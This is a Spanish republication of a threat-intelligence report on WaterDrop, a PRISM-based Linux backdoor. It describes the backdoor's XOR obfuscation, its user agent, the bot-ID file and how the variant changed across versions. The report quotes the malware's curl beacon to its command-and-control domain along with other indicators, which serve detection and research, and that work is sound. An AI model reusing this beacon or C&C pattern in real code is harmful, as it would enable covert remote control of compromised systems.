LinuxParty
AT&T Alien Labs ha descubierto recientemente un grupo de ejecutables ELF de Linux que tienen detecciones de antivirus bajas o nulas en VirusTotal, aunque nuestros sistemas de análisis de amenazas internos los han marcado como maliciosos. Tras la inspección de las muestras, Alien Labs las ha identificado como modificaciones de la puerta trasera PRISM de código abierto utilizada por múltiples actores de amenazas en varias campañas.
Hemos realizado una investigación más a fondo de las muestras y hemos descubierto que varias campañas que utilizan estos ejecutables maliciosos han logrado permanecer activas y bajo el radar durante más de 3,5 años. Las muestras más antiguas que Alien Labs puede atribuir a uno de los actores datan del 8 de noviembre de 2017.
Análisis
WaterDrop
La variante WaterDrop es fácilmente identificable, ya que incluye una función llamada xencrypt que realiza el cifrado XOR con la clave 0x1F codificada de un solo byte. A partir de la versión 7 de la variante WaterDrop, las muestras incluyen la cadena de texto sin formato "WaterDropx vX iniciado", donde X es el número de versión entero. Hasta ahora, hemos observado que las versiones 1, 2.2 y 3 todavía usan el nombre PRISM. Las versiones 7, 9 y 12 se denominan WaterDropx.
También utiliza la cadena de agente de usuario fácilmente identificable " agent-waterdropx " para las comunicaciones de comando y control (C&C) basadas en HTTP, y llega a los subdominios del dominio waterdropx [.] Com.
Si bien todos estos pueden parecer indicadores bastante obvios, el actor de amenazas detrás de esta variante ha logrado mantener una puntuación de detección de cero o casi cero en VirusTotal para sus muestras y dominios. Lo más probable es que esto se deba a que sus campañas son bastante pequeñas. El dominio waterdropx [.] Com se registró para el propietario actual el 18 de agosto de 2017 y, al 10 de agosto de 2021, todavía estaba en línea.
Además de las características básicas de PRISM, WaterDrop introduce el cifrado XOR para la configuración y un proceso adicional que consulta regularmente a los C&C sobre los comandos a ejecutar (ver figura 2).

Esta comunicación con el servidor C&C es HTTP de texto plano y se realiza mediante el comando curl. En todas las versiones que ha observado Alien Labs, se utiliza la opción -A “agent-waterdropx”, lo que significa que el encabezado del agente de usuario permanecerá constante en todas las versiones.
También hemos observado algunas muestras de esta variante que cargan un Módulo Kernel si el proceso se ejecuta con privilegios de root (ver figura 3).
Evolución de la versión
PRISM v1
Alien Labs ha encontrado muestras etiquetadas como "PRISM v1" que podemos atribuir al mismo actor de amenazas con gran confianza ya que utilizan el mismo dominio de C&C (waterdropx [.] Com). Las muestras también comparten características distintivas, como la cadena de agente de usuario agent-waterdropx.
En comparación con el PRISM público, esta versión introduce la creación de un proceso hijo que consulta constantemente al servidor de C&C para que se ejecuten los comandos. La solicitud inicial al servidor C&C se realiza mediante el siguiente comando:
curl -A 'agent-waterdropx' 'http://r.waterdropx[.]com:13858/tellmev2.x?v=1&act=touch'
PRISM v1 no presenta ningún tipo de ofuscación, empaquetado o encriptación de los binarios.
PRISM v2.2
PRISM v2.2 introduce el uso del cifrado XOR para ofuscar datos confidenciales, como las cadenas de comandos BASH utilizadas. La clave es de un solo byte y está codificada en el valor 0x1F. Esta clave en particular se utiliza en todas las muestras de este actor de amenazas que observamos.
Para esta versión, el formato de solicitud de URI de C&C inicial es:
/tellmev2.x?v=2.2&act=touch
PRISM v3
Es idéntico a v2.2, con una excepción: los clientes incluyen un ID de bot para fines de identificación. Esta identificación de bot se guarda en /etc/.xid y se usa en la baliza de malware.
El formato de solicitud inicial es:
/tellmev2.x?v=3&act=touch&xid=
Para más información sobre PRISM, siga este enlace
Para una traducción automática, en español siga este enlace

-
News
- El desastre del sumergible Titán tardó años en gestarse, revelan nuevos detalles
- Los Sistemas Operativos Más Usados del Mundo
- CDIR: una forma más rápida de navegar por carpetas y archivos en Linux
- Cómo Instalar Linux en una Unidad USB ( Lapiz Óptico o Pendrive )
- Militares israelíes destruyen una clínica palestina esencial para enfrentarse al coronavirus
- Más personas obtienen sus noticias de las redes sociales que los periódicos, según un estudio
- Playboy elimina sus cuentas de Facebook
- Joplin, el reemplazo gratuito de Evernote, multiplataforma y opensource
- Nuestro respeto a Barrapunto, el primer portal de Software Libre
- Apple convierte open source su lenguaje de programación Swift
- Solicitud de Formulario para empleo de Al-Qaeda descubierto
- Ocurrió (y no pudimos publicar...)
- Nueva empresa hará posible que los diarios online cobren a sus lectores
- Primeras fotos y video del modelo A de Raspberry Pi
- Hoy es el día Internacional de la Libertad de Prensa